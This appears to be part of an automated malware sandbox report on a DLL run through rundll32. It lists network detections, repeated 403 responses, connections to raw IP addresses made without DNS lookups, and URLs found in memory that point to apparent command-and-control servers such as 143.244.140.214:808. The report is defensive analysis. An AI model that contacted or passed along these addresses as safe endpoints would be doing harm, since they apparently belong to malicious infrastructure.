Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 50143 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50154
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50162
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50170
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 49903 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:57:59 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:05 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:07 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:09 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:11 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:15 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:17 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:19 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:21 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:23 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:25 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:28 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:32 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:36 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:40 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:44 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:48 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:50 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:52 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:54 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:55 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:58:59 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:03 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:07 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:09 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:11 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:13 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:15 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:17 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:21 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:25 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:29 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:35 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:35 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:39 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:39 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:43 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:43 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:47 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:50 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:50 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:54 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:54 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 02:59:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:02 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:06 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:07 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:10 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:11 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:14 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:15 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:18 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:19 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:22 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:23 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:26 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:27 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:30 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:31 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:33 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:35 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:37 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:39 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:41 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:43 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:45 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:46 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:49 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:50 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:53 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:54 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:57 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:00:58 GMTContent-Type: text/plain; charset=utf-8Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.15.12Date: Thu, 28 Oct 2021 03:01:00 GMTContent-Type: text/plain; charset=utf-8Connection: close

Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 185.56.219.47
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96
Source: unknown	TCP traffic detected without corresponding DNS query: 143.244.140.214
Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.0.96

Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.554532651.0000000000714000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: loaddll32.exe, 00000000.00000002.872703373.00000000015AB000.00000004.00000020.sdmp, rundll32.exe	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://14.77.0.96:6891/
Source: rundll32.exe, 00000003.00000002.874111999.00000000006CA000.00000004.00000020.sdmp	String found in binary or memory: https://142.46.210.220/
Source: rundll32.exe	String found in binary or memory: https://143.244.140.214/
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/%
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/6
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214/N
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe	String found in binary or memory: https://143.244.140.214:808/
Source: loaddll32.exe, 00000000.00000003.796127425.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/.140.214:808/
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/4
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/9
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/My
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/T
Source: rundll32.exe, 00000003.00000003.798077134.0000000000739000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.742742966.000000000073E000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/em32
Source: rundll32.exe, 00000003.00000003.527805201.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/h
Source: loaddll32.exe, 00000000.00000002.872719841.00000000015B8000.00000004.00000020.sdmp, loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hy
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hy/
Source: rundll32.exe, 00000003.00000003.772836291.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hy4
Source: rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hyg
Source: rundll32.exe, 00000003.00000003.711929481.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/hyz
Source: loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l
Source: rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l/
Source: rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l0
Source: rundll32.exe, 00000003.00000003.781390646.000000000073D000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/l9
Source: loaddll32.exe, 00000000.00000002.872645972.0000000001558000.00000004.00000020.sdmp, rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/la
Source: rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/lg
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/ll
Source: rundll32.exe, 00000003.00000003.562908687.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/ll&
Source: rundll32.exe, 00000003.00000003.562908687.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/llg
Source: rundll32.exe, 00000003.00000003.591021257.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/llh
Source: rundll32.exe, 00000003.00000003.546159966.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/lq
Source: loaddll32.exe, 00000000.00000003.548927773.00000000015B9000.00000004.00000001.sdmp, rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/oft
Source: rundll32.exe, 00000003.00000003.632556707.0000000000736000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/q
Source: rundll32.exe, 00000003.00000002.874153392.0000000000739000.00000004.00000020.sdmp	String found in binary or memory: https://143.244.140.214:808/x
Source: rundll32.exe, 00000003.00000003.675255963.0000000000739000.00000004.00000001.sdmp	String found in binary or memory: https://143.244.140.214:808/z
